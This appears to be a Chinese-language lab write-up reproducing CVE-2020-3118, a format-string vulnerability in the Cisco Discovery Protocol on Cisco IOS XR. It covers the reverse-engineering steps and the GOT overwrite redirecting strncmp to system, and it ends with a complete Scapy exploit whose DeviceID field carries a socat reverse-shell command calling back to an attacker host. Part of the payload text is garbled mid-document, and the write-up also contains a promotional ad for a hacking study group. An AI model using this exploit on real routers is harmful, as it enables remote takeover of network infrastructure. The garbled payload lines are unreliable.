一、介绍
该缺陷存在于Cisco IOS XR软件的Cisco Discovery Protocol中,它可能导致黑客的攻击。
“该漏洞是Cisco Discovery Protocol中字段字符串输入的错误验证所致。黑客可以通过向受影响设备发送恶意Cisco Discovery Protocol数据包以利用漏洞。” “被成功利用的漏洞可能导致堆栈溢出,黑客便可以执行任意代码。”
Cisco专家指出,其他黑客也可以利用此缺陷。美国国家安全局(NSA)声称该漏洞在漏洞排名中位居前25。 IOS XR网络操作系统 运行包括NCS 540 560、NCS 5500、8000和ASR 9000系列的Cisco路由器,该漏洞还会影响至少全球范围内都启用了Cisco Discovery Protocol的第三方白盒路由器和Cisco产品。Cisco于2020年2月解决了CVE-2020-3118漏洞,以CDPwn跟踪其他四个严重问题。
二、实验工具与环境
2.1 实验工具
IDA 7.5,Xshell,gdbserver,gdb。
2.2 软件环境
XR模拟器,kali虚拟机。
三、复现过程
3.1 漏洞触发及FMT原理分析
本漏洞为格式化字符串漏洞,在同一函数中连续三次调用snprintf造成,通过IDA逆向cdp文件,找到漏洞点。
需要构造合适的cdp报文触发漏洞,cdp协议格式如下图所示:
Scapy库提供了构造cdp报文的API,直接每个字段都构造一部分内容发送过去,用于确定漏洞点。
from scapy.contrib import cdp
from scapy.all import Ether, LLC, SNAP
from scapy.all import *
# link layer
l2_packet = Ether(dst="01:00:0c:cc:cc:cc")
# Logical-Link Control
l2_packet /= LLC(dsap=0xaa, ssap=0xaa, ctrl=0x03) / SNAP()
# Cisco Discovery Protocol
cdp_v2 = cdp.CDPv2_HDR(vers=2, ttl=180)
deviceid = cdp.CDPMsgDeviceID(val=b"A"*10)
portid = cdp.CDPMsgPortID(iface=b"B"*10)
version = cdp.CDPMsgSoftwareVersion(val=b"C"*10)
platform = cdp.CDPMsgPlatform(val=b"D"*10)
domain = cdp.CDPMsgVTPMgmtDomain(val=b"E"*10)
unknown = cdp.CDPMsgUnknown19(val=b"F"*10)
address=cdp.CDPMsgAddr(naddr=1,addr=cdp.CDPAddrRecordIPv4(addr="192.168.43.181"))
cap = cdp.CDPMsgCapabilities(cap=1)
cdp_packet = cdp_v2/deviceid/portid/address/cap
packet = l2_packet / cdp_packet
sendp(packet)
在snprintf出现的三个地址,即0x41830F、0x418334和0x418359处下断点,发送以上代码构成的数据包,使用gdb调试,可以得知三处snprintf的参数分别是CDPMsgPortID、CDPMsgPlatform和CDPMsgVTPMgmtDomain。
64位程序中,前6个参数存在寄存器中,从第7个参数开始才会出现在栈中,format是snprintf函数的第3个参数,因此发送”%4$p”命令用来解析相对于format的第4个参数地址,即snprintf的第7个参数地址。
gdb中输入n单步执行后查看内存,转化为ASCII码可以发现第7个参数就是栈顶存储的值。
0x7fffbca39d60相对栈顶0x7fffbca39cd0偏移为0x90,64位程序每个参数占8位,所以0x7fffbca39d60是相对于format的第22个参数地址,即snprintf的第25个参数地址。以此可以实现任意内存写入。
3.2 漏洞利用
利用思路是将strncmp函数的got表地址改为system函数地址,进而远程代码执行。
system函数地址为0x399480ffa0,strncmp函数地址为0x3994481a70,两个地址只有最后6位(3字节)不同。strncmp函数got表地址为0x622530。
构造payload,payload1写入strncmp函数的got地址(6432048为0x622530的十进制形式)。
Payload2修改strncmp函数got表指向地址(0x3994481a70)的最后两个字节,即将0xffa0写入栈空间0x7fffbca39d60处,覆盖原地址的1a70;由于一共需要修改3字节,已修改2字节,还需要修改1字节,因此为保证写入栈空间的连续性,下一次写入需从6432048+2处开始写入;前面已经写入了65440(0xffa0),因此payload2后半部分应该是6366610(6432048+2-65440)。
payload3用于修改got表指向地址的倒数第3个字节,写入128(0x80)即可。
payload1 = %6432048c%4
n
p
a
y
l
o
a
d
2
=
n payload2 = %65440c%22
npayload2=hn%6366610c%4
n
p
a
y
l
o
a
d
3
=
n payload3 = %128c%22
npayload3=hhn
输入payload,对路由器进行调试。执行第一个snprintf后,payload1将got表地址写入了栈中。
执行第二个snprintf,输入payload2。栈顶存放指针指向了0x622532,而strncmp的got表指向地址的最后两个字节已经被修改。
执行第三个snprintf,可以看到strncmp的got表已被修改为指向system函数。
在0x399480ffa0处下断点执行过去,发现参数全为A,在构造cdp包的程序中由CDPMsgDeviceID控制。
使用socat命令,在kali中设置对应端口监听,最终即可反弹shell。
与XR中的cdp进程号比对,完全相同,可以判断该漏洞利用成功。
我是一名渗透工作者,常年游走在漏洞当中,大家在学习中遇到任何问题,都可以申请加入我所在的亲亲箘,前面是:603中间是:916后面是:224,需要文中资料点我获取,还有更多网络安全全套视频、工具包、书籍、应急响应笔记等着你,点这里获取
exp如下所示:
from scapy.contrib import cdp
from scapy.all import Ether, LLC, SNAP
from scapy.all import *
# link layer
l2_packet = Ether(dst="01:00:0c:cc:cc:cc")
# Logical-Link Control
l2_packet /= LLC(dsap=0xaa, ssap=0xaa, ctrl=0x03) / SNAP()
# Cisco Discovery Protocol
cdp_v2 = cdp.CDPv2_HDR(vers=2, ttl=180)
deviceid = cdp.CDPMsgDeviceID(val=b"socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.43.140:1234")
portid = cdp.CDPMsgPortID(iface=b"%6432048c%4$n")
version = cdp.CDPMsgSoftwareVersion(val=b"C"*10)
platform = cdp.CDPMsgPlatform(val=b"%65440c%22$hn%6366610c%4$n")
domain = cdp.CDPMsgVTPMgmtDomain(val=b"%128c%22$hhn")
unknown = cdp.CDPMsgUnknown19(val=b"F"*10)
address=cdp.CDPMsgAddr(naddr=1,addr=cdp.CDPAddrRecordIPv4(addr="192.168.43.181"))
cap = cdp.CDPMsgCapabilities(cap=1)
cdp_packet = cdp_v2/deviceid/portid/version/platform/domain/unknown/address/cap
packet = l2_packet / cdp_packet
sendp(packet)